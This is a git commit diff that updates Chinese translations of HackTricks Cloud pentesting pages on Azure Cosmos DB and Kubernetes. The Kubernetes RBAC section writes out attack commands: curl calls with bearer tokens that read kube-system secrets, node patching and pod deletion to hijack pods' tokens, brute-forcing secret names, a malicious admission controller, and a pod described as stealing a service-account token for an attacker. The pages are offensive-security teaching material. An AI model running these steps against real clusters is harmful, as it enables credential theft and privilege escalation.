mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-02-05 11:26:11 -08:00
Translated ['src/pentesting-cloud/azure-security/az-services/az-cosmosDB
This commit is contained in:
Translator
@@ -398,7 +398,8 @@
|
||||
- [Az - Enumeration Tools](pentesting-cloud/azure-security/az-enumeration-tools.md)
|
||||
- [Az - Unauthenticated Enum & Initial Entry](pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/README.md)
|
||||
- [Az - OAuth Apps Phishing](pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-oauth-apps-phishing.md)
|
||||
- [Az - VMs Unath](pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-vms-unath.md)
|
||||
- [Az - Storage Unath](pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-storage-unauth.md)
|
||||
- [Az - VMs Unath](pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-vms-unauth.md)
|
||||
- [Az - Device Code Authentication Phishing](pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-device-code-authentication-phishing.md)
|
||||
- [Az - Password Spraying](pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-password-spraying.md)
|
||||
- [Az - Services](pentesting-cloud/azure-security/az-services/README.md)
|
||||
|
||||
@@ -9,7 +9,7 @@
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 **上关注我们** [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在 Twitter 上关注** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
@@ -21,7 +21,7 @@
|
||||
|
||||
Azure Cosmos DB 提供多种数据库 API，以使用文档、关系型、键值、图形和列族数据模型来建模现实世界的数据，这些 API 包括 NoSQL、MongoDB、PostgreSQL、Cassandra、Gremlin 和 Table。
|
||||
|
||||
CosmosDB 的一个关键方面是 Azure Cosmos 账户。**Azure Cosmos 账户** 作为数据库的入口点。该账户决定关键设置，如全球分布、一致性级别和要使用的特定 API，例如 NoSQL。通过该账户，您可以配置全球复制，以确保数据在多个区域可用，以实现低延迟访问。此外，您可以选择在性能和数据准确性之间取得平衡的一致性级别，选项范围从强一致性到最终一致性。
|
||||
CosmosDB 的一个关键方面是 Azure Cosmos 账户。**Azure Cosmos 账户** 作为数据库的入口点。该账户决定关键设置，例如全球分布、一致性级别和要使用的特定 API，例如 NoSQL。通过该账户，您可以配置全球复制，以确保数据在多个区域可用，以实现低延迟访问。此外，您可以选择在性能和数据准确性之间取得平衡的一致性级别，选项范围从强一致性到最终一致性。
|
||||
|
||||
### NoSQL (sql)
|
||||
Azure Cosmos DB NoSQL API 是一个基于文档的 API，使用 JSON 作为其数据格式。它提供类似 SQL 的查询语法来查询 JSON 对象，使其适合处理结构化和半结构化数据。该服务的端点是：
|
||||
@@ -33,10 +33,10 @@ https://<Account-Name>.documents.azure.com:443/
|
||||
{% endcode %}
|
||||
|
||||
#### 数据库
|
||||
在一个帐户内，您可以创建一个或多个数据库，这些数据库作为容器的逻辑分组。数据库充当资源管理和用户权限的边界。数据库可以在其容器之间共享预配置的吞吐量，或为单个容器分配专用吞吐量。
|
||||
在一个帐户内，您可以创建一个或多个数据库，这些数据库作为容器的逻辑分组。数据库充当资源管理和用户权限的边界。数据库可以在其容器之间共享预配的吞吐量，或为单个容器分配专用吞吐量。
|
||||
|
||||
#### 容器
|
||||
数据存储的核心单元是容器，它保存 JSON 文档并自动建立索引以实现高效查询。容器具有弹性可扩展性，并分布在由用户定义的分区键确定的分区中。分区键对于确保最佳性能和均匀数据分布至关重要。例如，一个容器可能存储客户数据，"customerId" 作为分区键。
|
||||
数据存储的核心单元是容器，它保存 JSON 文档并自动进行索引以实现高效查询。容器具有弹性可扩展性，并分布在由用户定义的分区键确定的分区中。分区键对于确保最佳性能和均匀数据分布至关重要。例如，一个容器可能存储客户数据，"customerId" 作为分区键。
|
||||
|
||||
#### 枚举
|
||||
|
||||
@@ -173,7 +173,7 @@ print(item)
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
另一种建立连接的方法是使用 **DefaultAzureCredential()**。只需使用具有权限的帐户登录 (az login) 并执行它。对于这种情况，必须进行角色分配，以授予必要的权限 (见更多信息)
|
||||
另一种建立连接的方法是使用 **DefaultAzureCredential()**。只需使用具有权限的帐户登录（az login）并执行它。对于这种情况，必须进行角色分配，以授予必要的权限（见更多信息）
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```python
|
||||
@@ -215,7 +215,7 @@ mongodb://<hostname>:<port>/<database>
|
||||
在 MongoDB 中，您可以在一个实例中创建一个或多个数据库。每个数据库作为集合的逻辑分组，并提供资源组织和管理的边界。数据库有助于逻辑上分离和管理数据，例如用于不同的应用程序或项目。
|
||||
|
||||
#### 集合
|
||||
MongoDB 中数据存储的核心单元是集合，它保存文档，并设计用于高效查询和灵活的模式设计。集合具有弹性可扩展性，并可以在分布式设置中支持跨多个节点的高吞吐量操作。
|
||||
MongoDB 中的数据存储核心单元是集合，它保存文档，并设计用于高效查询和灵活的模式设计。集合具有弹性可扩展性，并可以支持在分布式设置中跨多个节点的高吞吐量操作。
|
||||
|
||||
#### 枚举
|
||||
|
||||
@@ -350,7 +350,7 @@ print(f"Inserted document with ID: {result.inserted_id}")
|
||||
|
||||
* 这里的其余数据库，表，cassandra，gremlin...
|
||||
* 查看后期利用 "Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/write" && "Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/read" 和角色定义，因为这里可能存在权限提升
|
||||
* 查看恢复情况
|
||||
* 查看恢复
|
||||
|
||||
|
||||
|
||||
@@ -363,8 +363,8 @@ print(f"Inserted document with ID: {result.inserted_id}")
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 **上关注我们** [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
@@ -1,37 +0,0 @@
|
||||
# Az - VMs Unath
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## 虚拟机
|
||||
|
||||
有关 Azure 虚拟机的更多信息，请查看：
|
||||
|
||||
{{#ref}}
|
||||
../az-services/vms/
|
||||
{{#endref}}
|
||||
|
||||
### 暴露的易受攻击服务
|
||||
|
||||
一个易受某些 RCE 攻击的网络服务。
|
||||
|
||||
### 公共图库镜像
|
||||
|
||||
公共镜像可能包含内部的秘密：
|
||||
```bash
|
||||
# List all community galleries
|
||||
az sig list-community --output table
|
||||
|
||||
# Search by publisherUri
|
||||
az sig list-community --output json --query "[?communityMetadata.publisherUri=='https://3nets.io']"
|
||||
```
|
||||
### 公共扩展
|
||||
|
||||
这可能会更奇怪，但并非不可能。一家大公司可能会在其中放置包含敏感数据的扩展：
|
||||
```bash
|
||||
# It takes some mins to run
|
||||
az vm extension image list --output table
|
||||
|
||||
# Get extensions by publisher
|
||||
az vm extension image list --publisher "Site24x7" --output table
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -2,18 +2,18 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
这里可以找到一些潜在危险的 Roles 和 ClusterRoles 配置。\
|
||||
请记住，您可以使用 `kubectl api-resources` 获取所有支持的资源。
|
||||
这里你可以找到一些潜在危险的 Roles 和 ClusterRoles 配置。\
|
||||
记住，你可以使用 `kubectl api-resources` 获取所有支持的资源。
|
||||
|
||||
## **特权提升**
|
||||
|
||||
特权提升是指在集群中以**不同权限**（在 Kubernetes 集群内或外部云中）获取**对不同主体的访问**，与您当前拥有的权限不同。在 Kubernetes 中，基本上有**4 种主要技术来提升特权**：
|
||||
特权提升是指在集群中以不同的特权（在 Kubernetes 集群内或外部云中）获取 **对不同主体的访问**，与您已经拥有的特权不同。在 Kubernetes 中，基本上有 **4 种主要技术来提升特权**：
|
||||
|
||||
- 能够**冒充**在 Kubernetes 集群内或外部云中具有更高权限的其他用户/组/SAs
|
||||
- 能够**创建/补丁/执行 pods**，在其中可以**找到或附加具有更高权限的 SAs**，在 Kubernetes 集群内或外部云中
|
||||
- 能够**读取秘密**，因为 SAs 的令牌存储为秘密
|
||||
- 能够**从容器逃逸到节点**，在此可以窃取运行在节点上的所有容器的秘密、节点的凭据以及节点在其运行的云中的权限（如果有的话）
|
||||
- 第五种值得一提的技术是能够在 pod 中**运行端口转发**，因为您可能能够访问该 pod 中的有趣资源。
|
||||
- 能够 **冒充** 在 Kubernetes 集群内或外部云中具有更高特权的其他用户/组/SAs
|
||||
- 能够 **创建/补丁/执行 pods**，在其中可以 **找到或附加具有更高特权的 SAs**，在 Kubernetes 集群内或外部云中
|
||||
- 能够 **读取秘密**，因为 SAs 的令牌存储为秘密
|
||||
- 能够 **从容器逃逸到节点**，在这里你可以窃取运行在节点上的所有容器的秘密、节点的凭证，以及节点在其运行的云中的权限（如果有的话）
|
||||
- 第五种值得一提的技术是能够 **在 pod 中运行端口转发**，因为你可能能够访问该 pod 中的有趣资源。
|
||||
|
||||
### 访问任何资源或动词（通配符）
|
||||
|
||||
@@ -33,7 +33,7 @@ verbs: ["*"]
|
||||
|
||||
在RBAC中，某些权限带来了重大风险：
|
||||
|
||||
1. **`create`:** 授予创建任何集群资源的能力，存在特权升级的风险。
|
||||
1. **`create`:** 授予创建任何集群资源的能力，存在特权提升的风险。
|
||||
2. **`list`:** 允许列出所有资源，可能泄露敏感数据。
|
||||
3. **`get`:** 允许访问服务账户的秘密，构成安全威胁。
|
||||
```yaml
|
||||
@@ -47,11 +47,11 @@ rules:
|
||||
resources: ["*"]
|
||||
verbs: ["create", "list", "get"]
|
||||
```
|
||||
### Pod Create - Steal Token
|
||||
### Pod 创建 - 偷取 Token
|
||||
|
||||
一个具有创建 pod 权限的攻击者，可以将一个特权服务账户附加到 pod 中，并窃取该服务账户的令牌以冒充该服务账户。有效地提升了其权限。
|
||||
一个具有创建 pod 权限的攻击者，可以将一个特权服务账户附加到 pod 中，并偷取该服务账户的 token 以冒充该服务账户。有效地提升了其权限。
|
||||
|
||||
一个将窃取 `bootstrap-signer` 服务账户令牌并将其发送给攻击者的 pod 示例：
|
||||
一个将偷取 `bootstrap-signer` 服务账户的 token 并将其发送给攻击者的 pod 示例：
|
||||
```yaml
|
||||
apiVersion: v1
|
||||
kind: Pod
|
||||
@@ -199,7 +199,7 @@ kubectl exec -it <POD_NAME> -n <NAMESPACE> -- sh
|
||||
```
|
||||
### port-forward
|
||||
|
||||
此权限允许**将一个本地端口转发到指定 pod 中的一个端口**。这旨在能够轻松调试在 pod 内运行的应用程序，但攻击者可能会滥用它以获取对 pod 内有趣（如数据库）或脆弱应用程序（网页？）的访问：
|
||||
此权限允许**将一个本地端口转发到指定 pod 中的一个端口**。这旨在能够轻松调试在 pod 内部运行的应用程序，但攻击者可能会利用它访问 pod 内部有趣（如数据库）或脆弱的应用程序（网页？）：
|
||||
```
|
||||
kubectl port-forward pod/mypod 5000:5000
|
||||
```
|
||||
@@ -233,9 +233,9 @@ curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://
|
||||
```
|
||||
**实验室和自动化利用可以在** [**https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts**](https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts)
|
||||
|
||||
#### 绕过 readOnly 保护 <a href="#bypassing-hostpath-readonly-protection" id="bypassing-hostpath-readonly-protection"></a>
|
||||
#### 绕过只读保护 <a href="#bypassing-hostpath-readonly-protection" id="bypassing-hostpath-readonly-protection"></a>
|
||||
|
||||
如果你足够幸运，并且高度特权的能力 `CAP_SYS_ADMIN` 可用，你可以直接将文件夹重新挂载为 rw：
|
||||
如果你足够幸运，并且高度特权的能力 `CAP_SYS_ADMIN` 可用，你可以直接将文件夹重新挂载为 rw:
|
||||
```bash
|
||||
mount -o rw,remount /hostlogs/
|
||||
```
|
||||
@@ -247,7 +247,7 @@ allowedHostPaths:
|
||||
- pathPrefix: "/foo"
|
||||
readOnly: true
|
||||
```
|
||||
这旨在通过使用 PersistentVolume 和 PersistentVolumeClaim 来挂载主机文件夹到容器中并提供可写访问，而不是使用 hostPath 挂载，从而防止像之前那样的逃逸：
|
||||
旨在通过使用 PersistentVolume 和 PersistentVolumeClaim 来挂载主机文件夹到容器中并提供可写访问，而不是使用 hostPath 挂载，从而防止像之前那样的逃逸：
|
||||
```yaml
|
||||
apiVersion: v1
|
||||
kind: PersistentVolume
|
||||
@@ -312,7 +312,7 @@ https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/
|
||||
```
|
||||
### 列出秘密
|
||||
|
||||
**列出秘密的权限可能允许攻击者实际读取秘密** 访问 REST API 端点：
|
||||
**列出秘密的权限可能允许攻击者实际读取秘密**，访问 REST API 端点：
|
||||
```bash
|
||||
curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/
|
||||
```
|
||||
@@ -381,15 +381,15 @@ $ kubectl get secret stolen-admin-sa-token --token=$SECRETS_MANAGER_TOKEN -o jso
|
||||
|
||||
### 读取秘密 – 暴力破解令牌 ID
|
||||
|
||||
虽然持有具有读取权限的令牌的攻击者需要使用秘密的确切名称，但与更广泛的 _**列出秘密**_ 权限不同，仍然存在漏洞。系统中的默认服务账户可以被枚举，每个账户都与一个秘密相关联。这些秘密的名称结构为：一个静态前缀后跟一个随机的五字符字母数字令牌（排除某些字符），根据 [source code](https://github.com/kubernetes/kubernetes/blob/8418cccaf6a7307479f1dfeafb0d2823c1c37802/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#L83)。
|
||||
虽然持有具有读取权限的令牌的攻击者需要使用秘密的确切名称，但与更广泛的 _**列出秘密**_ 权限不同，仍然存在漏洞。系统中的默认服务账户可以被枚举，每个服务账户都与一个秘密相关联。这些秘密的名称结构为：一个静态前缀后跟一个随机的五字符字母数字令牌（排除某些字符），根据 [源代码](https://github.com/kubernetes/kubernetes/blob/8418cccaf6a7307479f1dfeafb0d2823c1c37802/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#L83)。
|
||||
|
||||
该令牌是从一个有限的 27 字符集（`bcdfghjklmnpqrstvwxz2456789`）生成的，而不是完整的字母数字范围。这一限制将总可能组合减少到 14,348,907（27^5）。因此，攻击者可以在几个小时内可行地执行暴力破解攻击，以推断出令牌，从而可能通过访问敏感服务账户实现权限提升。
|
||||
该令牌是从一个有限的 27 字符集（`bcdfghjklmnpqrstvwxz2456789`）生成的，而不是完整的字母数字范围。这一限制将总可能组合减少到 14,348,907（27^5）。因此，攻击者可以在几个小时内可行地执行暴力破解攻击，以推断出令牌，这可能导致通过访问敏感服务账户进行权限提升。
|
||||
|
||||
### 证书签名请求
|
||||
|
||||
如果您在资源 `certificatesigningrequests` 中具有动词 **`create`**（或至少在 `certificatesigningrequests/nodeClient` 中）。您可以 **创建** 一个 **新节点** 的新 CeSR。
|
||||
|
||||
根据 [documentation it's possible to auto approve this requests](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/)，因此在这种情况下您 **不需要额外的权限**。如果不是，您需要能够批准请求，这意味着在 `certificatesigningrequests/approval` 中更新，并在 `signers` 中使用资源名称 `<signerNameDomain>/<signerNamePath>` 或 `<signerNameDomain>/*` 进行批准。
|
||||
根据 [文档，您可以自动批准这些请求](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/)，因此在这种情况下您 **不需要额外的权限**。如果没有，您需要能够批准请求，这意味着在 `certificatesigningrequests/approval` 中更新，并在 `signers` 中使用资源名称 `<signerNameDomain>/<signerNamePath>` 或 `<signerNameDomain>/*` 进行批准。
|
||||
|
||||
一个 **具有所有所需权限的角色示例** 是：
|
||||
```yaml
|
||||
@@ -422,12 +422,12 @@ resourceNames:
|
||||
verbs:
|
||||
- approve
|
||||
```
|
||||
所以，随着新的节点CSR获得批准，您可以**滥用**节点的特殊权限来**窃取秘密**和**提升权限**。
|
||||
所以，随着新的节点CSR被批准，您可以**滥用**节点的特殊权限来**窃取秘密**和**提升权限**。
|
||||
|
||||
在[**这篇文章**](https://www.4armed.com/blog/hacking-kubelet-on-gke/)和[**这篇文章**](https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/)中，GKE K8s TLS引导配置被设置为**自动签名**，并被滥用以生成新的K8s节点的凭证，然后利用这些凭证提升权限，窃取秘密。\
|
||||
如果您**拥有提到的权限，您可以做同样的事情**。请注意，第一个示例绕过了防止新节点访问容器内部秘密的错误，因为**节点只能访问挂载在其上的容器的秘密。**
|
||||
在[**这篇文章**](https://www.4armed.com/blog/hacking-kubelet-on-gke/)和[**这篇文章**](https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/)中，GKE K8s TLS引导配置被配置为**自动签名**，并被滥用以生成新的K8s节点的凭据，然后利用这些凭据通过窃取秘密来提升权限。\
|
||||
如果您**拥有提到的权限，您也可以做同样的事情**。请注意，第一个示例绕过了防止新节点访问容器内部秘密的错误，因为**节点只能访问挂载在其上的容器的秘密。**
|
||||
|
||||
绕过此限制的方法是**为挂载有有趣秘密的容器的节点名称创建节点凭证**（但请查看如何在第一篇文章中做到这一点）：
|
||||
绕过此限制的方法是**为挂载有有趣秘密的容器的节点名称创建节点凭据**（但请查看如何在第一篇文章中做到这一点）：
|
||||
```bash
|
||||
"/O=system:nodes/CN=system:node:gke-cluster19-default-pool-6c73b1-8cj1"
|
||||
```
|
||||
@@ -481,10 +481,10 @@ groups:
|
||||
|
||||
### 在 GKE 中升级
|
||||
|
||||
有 **2 种方法可以将 K8s 权限分配给 GCP 主体**。在任何情况下，主体还需要权限 **`container.clusters.get`** 以便能够获取访问集群的凭据，或者您需要 **生成自己的 kubectl 配置文件**（请遵循下一个链接）。
|
||||
有 **2 种方法可以将 K8s 权限分配给 GCP 主体**。在任何情况下，主体还需要权限 **`container.clusters.get`** 以便能够获取访问集群的凭据，否则您将需要 **生成自己的 kubectl 配置文件**（请遵循下一个链接）。
|
||||
|
||||
> [!WARNING]
|
||||
> 当与 K8s API 端点交谈时，**GCP 身份验证令牌将被发送**。然后，GCP 通过 K8s API 端点首先 **检查主体**（通过电子邮件） **是否在集群内有任何访问权限**，然后检查是否通过 **GCP IAM** 有 **任何访问权限**。\
|
||||
> 当与 K8s API 端点交谈时，**GCP 身份验证令牌将被发送**。然后，GCP 通过 K8s API 端点，首先 **检查主体**（通过电子邮件） **是否在集群内有任何访问权限**，然后检查是否通过 **GCP IAM** 有 **任何访问权限**。\
|
||||
> 如果 **任何** 这些条件 **为真**，将会 **响应**。如果 **不**，将会给出一个 **错误**，建议通过 **GCP IAM** 授予 **权限**。
|
||||
|
||||
然后，第一种方法是使用 **GCP IAM**，K8s 权限有其 **等效的 GCP IAM 权限**，如果主体拥有这些权限，则可以使用它。
|
||||
@@ -511,7 +511,7 @@ groups:
|
||||
|
||||
### 升级
|
||||
|
||||
正如您在下一部分中所读到的：[**内置特权升级预防**](#built-in-privileged-escalation-prevention)，主体不能更新或创建角色或集群角色，而不拥有这些新权限。除非他在 **`roles`** 或 **`clusterroles`** 上具有 **动词 `escalate`**。\
|
||||
正如您在下一部分中所读到的：[**内置特权升级防止**](#built-in-privileged-escalation-prevention)，主体不能更新或创建角色或集群角色，而不拥有这些新权限。除非他对 **`roles`** 或 **`clusterroles`** 拥有 **动词 `escalate`**。\
|
||||
然后他可以更新/创建具有比他拥有的更好权限的新角色和集群角色。
|
||||
|
||||
### 节点代理
|
||||
@@ -522,11 +522,11 @@ groups:
|
||||
../pentesting-kubernetes-services/kubelet-authentication-and-authorization.md
|
||||
{{#endref}}
|
||||
|
||||
您可以在这里查看如何通过与 Kubelet API 授权交谈来获取 [**RCE 的示例**](../pentesting-kubernetes-services/index.html#kubelet-rce)。
|
||||
您可以在这里查看如何通过 [**与 Kubelet API 授权交谈获取 RCE**](../pentesting-kubernetes-services/index.html#kubelet-rce)。
|
||||
|
||||
### 删除 pods + 无法调度的节点
|
||||
### 删除 pods + 不可调度节点
|
||||
|
||||
可以 **删除 pods**（在 `pods` 资源上使用 `delete` 动词），或 **驱逐 pods**（在 `pods/eviction` 资源上使用 `create` 动词），或 **更改 pod 状态**（访问 `pods/status`）并可以 **使其他节点无法调度**（访问 `nodes/status`）或 **删除节点**（在 `nodes` 资源上使用 `delete` 动词）并控制一个 pod 的主体，可以 **从其他节点窃取 pods**，使它们在 **被攻陷的** **节点** 中 **执行**，攻击者可以 **窃取这些 pods 的令牌**。
|
||||
可以 **删除 pods**（在 `pods` 资源上使用 `delete` 动词），或 **驱逐 pods**（在 `pods/eviction` 资源上使用 `create` 动词），或 **更改 pod 状态**（访问 `pods/status`）并可以 **使其他节点不可调度**（访问 `nodes/status`）或 **删除节点**（在 `nodes` 资源上使用 `delete` 动词）并控制一个 pod 的主体，可以 **从其他节点窃取 pods**，使它们在 **被攻陷的** **节点** 中 **执行**，攻击者可以 **窃取这些 pods 的令牌**。
|
||||
```bash
|
||||
patch_node_capacity(){
|
||||
curl -s -X PATCH 127.0.0.1:8001/api/v1/nodes/$1/status -H "Content-Type: json-patch+json" -d '[{"op": "replace", "path":"/status/allocatable/pods", "value": "0"}]'
|
||||
@@ -543,25 +543,25 @@ kubectl delete pods -n kube-system <privileged_pod_name>
|
||||
|
||||
### 节点和 Pods 状态
|
||||
|
||||
具有 **`update`** 或 **`patch`** 权限的主体可以修改标签，以影响强制执行的调度约束。
|
||||
具有 `nodes/status` 或 `pods/status` 上 **`update`** 或 **`patch`** 权限的主体，可以修改标签以影响强制执行的调度约束。
|
||||
|
||||
## 内置特权提升预防
|
||||
## 内置特权升级防护
|
||||
|
||||
Kubernetes 具有 [内置机制](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#privilege-escalation-prevention-and-bootstrapping) 来防止特权提升。
|
||||
Kubernetes 具有 [内置机制](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#privilege-escalation-prevention-and-bootstrapping) 来防止特权升级。
|
||||
|
||||
该系统确保 **用户无法通过修改角色或角色绑定来提升其权限**。此规则的执行发生在 API 级别，即使 RBAC 授权者处于非活动状态，也提供了保护。
|
||||
|
||||
该规则规定 **用户只能创建或更新角色，如果他们拥有角色所包含的所有权限**。此外，用户现有权限的范围必须与他们试图创建或修改的角色的范围一致：对于 ClusterRoles 是集群范围内的，或者对于 Roles 限于同一命名空间（或集群范围内）。
|
||||
该规则规定 **用户只能创建或更新角色，如果他们拥有角色所包含的所有权限**。此外，用户现有权限的范围必须与他们尝试创建或修改的角色的范围一致：对于 ClusterRoles 是集群范围内的，或者对于 Roles 限于同一命名空间（或集群范围内）。
|
||||
|
||||
> [!WARNING]
|
||||
> 之前规则有一个例外。如果主体对 **`roles`** 或 **`clusterroles`** 具有 **动词 `escalate`**，他可以在没有自己拥有权限的情况下增加角色和集群角色的权限。
|
||||
|
||||
### **获取 & 修补 RoleBindings/ClusterRoleBindings**
|
||||
### **获取 & 修改 RoleBindings/ClusterRoleBindings**
|
||||
|
||||
> [!CAUTION]
|
||||
> **显然这个技术以前有效，但根据我的测试，由于前面部分解释的原因，它现在不再有效。如果你没有权限，你无法创建/修改角色绑定以赋予自己或其他服务账户一些权限。**
|
||||
|
||||
创建 Rolebindings 的特权允许用户 **将角色绑定到服务账户**。这个特权可能导致特权提升，因为它 **允许用户将管理员权限绑定到被攻陷的服务账户**。
|
||||
创建 Rolebindings 的特权允许用户 **将角色绑定到服务账户**。这个特权可能导致特权升级，因为它 **允许用户将管理员权限绑定到被攻陷的服务账户**。
|
||||
|
||||
## 其他攻击
|
||||
|
||||
@@ -619,7 +619,7 @@ Admission controller **在对象持久化之前拦截对 Kubernetes API 服务
|
||||
|
||||
如果攻击者以某种方式成功 **注入一个 Mutationg Admission Controller**，他将能够 **修改已经通过身份验证的请求**。这可能导致权限提升，并且通常能够在集群中持久化。
|
||||
|
||||
**示例来自** [**https://blog.rewanthtammana.com/creating-malicious-admission-controllers**](https://blog.rewanthtammana.com/creating-malicious-admission-controllers):
|
||||
**来自** [**https://blog.rewanthtammana.com/creating-malicious-admission-controllers**](https://blog.rewanthtammana.com/creating-malicious-admission-controllers):
|
||||
```bash
|
||||
git clone https://github.com/rewanthtammana/malicious-admission-controller-webhook-demo
|
||||
cd malicious-admission-controller-webhook-demo
|
||||
@@ -631,9 +631,7 @@ kubectl get po -n webhook-demo -w
|
||||
kubectl get mutatingwebhookconfigurations
|
||||
kubectl get deploy,svc -n webhook-demo
|
||||
```
|
||||
|
||||
|
||||
然后部署一个新的 pod:
|
||||
然后部署一个新的 pod：
|
||||
```bash
|
||||
kubectl run nginx --image nginx
|
||||
kubectl get po -w
|
||||
|
||||
@@ -4,24 +4,24 @@
|
||||
|
||||
## Kubernetes Tokens
|
||||
|
||||
如果您已经获得了对某台机器的访问权限，用户可能会访问某些Kubernetes平台。令牌通常位于**env var `KUBECONFIG`**指向的文件中或**在`~/.kube`内**。
|
||||
如果您已经获得了对某台机器的访问权限，用户可能会访问某些 Kubernetes 平台。令牌通常位于 **env var `KUBECONFIG`** 指向的文件中或 **在 `~/.kube` 内**。
|
||||
|
||||
在此文件夹中，您可能会找到包含**连接到API服务器的令牌和配置的配置文件**。在此文件夹中，您还可以找到一个缓存文件夹，其中包含先前检索的信息。
|
||||
在此文件夹中，您可能会找到包含 **连接到 API 服务器的令牌和配置的配置文件**。在此文件夹中，您还可以找到一个缓存文件夹，其中包含先前检索的信息。
|
||||
|
||||
如果您已经在Kubernetes环境中攻陷了一个pod，还有其他地方可以找到令牌和当前K8环境的信息：
|
||||
如果您在 Kubernetes 环境中已攻陷一个 pod，还有其他地方可以找到令牌和有关当前 K8 环境的信息：
|
||||
|
||||
### Service Account Tokens
|
||||
|
||||
在继续之前，如果您不知道Kubernetes中的服务是什么，我建议您**查看此链接并至少阅读有关Kubernetes架构的信息。**
|
||||
在继续之前，如果您不知道 Kubernetes 中的服务是什么，我建议您 **查看此链接并至少阅读有关 Kubernetes 架构的信息。**
|
||||
|
||||
摘自Kubernetes [documentation](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/#use-the-default-service-account-to-access-the-api-server):
|
||||
摘自 Kubernetes [documentation](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/#use-the-default-service-account-to-access-the-api-server):
|
||||
|
||||
_“当您创建一个pod时，如果您没有指定服务帐户，它会自动分配同一命名空间中的_ default _服务帐户。”_
|
||||
_“当您创建一个 pod 时，如果您没有指定服务帐户，它会自动分配到同一命名空间中的_ default _服务帐户。”_
|
||||
|
||||
**ServiceAccount**是由Kubernetes管理的对象，用于为在pod中运行的进程提供身份。\
|
||||
每个服务帐户都有一个与之相关的秘密，该秘密包含一个承载令牌。这是一个JSON Web Token (JWT)，用于在两个方之间安全地表示声明的方法。
|
||||
**ServiceAccount** 是由 Kubernetes 管理的对象，用于为在 pod 中运行的进程提供身份。\
|
||||
每个服务帐户都有一个与之相关的秘密，该秘密包含一个承载令牌。这是一个 JSON Web Token (JWT)，用于在两个方之间安全地表示声明的方法。
|
||||
|
||||
通常**一个**目录：
|
||||
通常 **一个** 目录：
|
||||
|
||||
- `/run/secrets/kubernetes.io/serviceaccount`
|
||||
- `/var/run/secrets/kubernetes.io/serviceaccount`
|
||||
@@ -29,52 +29,61 @@ _“当您创建一个pod时，如果您没有指定服务帐户，它会自动
|
||||
|
||||
包含以下文件：
|
||||
|
||||
- **ca.crt**: 它是检查Kubernetes通信的ca证书
|
||||
- **ca.crt**: 它是检查 Kubernetes 通信的 CA 证书
|
||||
- **namespace**: 它指示当前命名空间
|
||||
- **token**: 它包含当前pod的**服务令牌**。
|
||||
- **token**: 它包含当前 pod 的 **服务令牌**。
|
||||
|
||||
现在您有了令牌，可以在环境变量**`KUBECONFIG`**中找到API服务器。有关更多信息，请运行`(env | set) | grep -i "kuber|kube`**`"`**
|
||||
现在您有了令牌，可以在环境变量 **`KUBECONFIG`** 中找到 API 服务器。有关更多信息，请运行 `(env | set) | grep -i "kuber|kube`**`"`**
|
||||
|
||||
服务帐户令牌由位于文件**sa.key**中的密钥签名，并由**sa.pub**验证。
|
||||
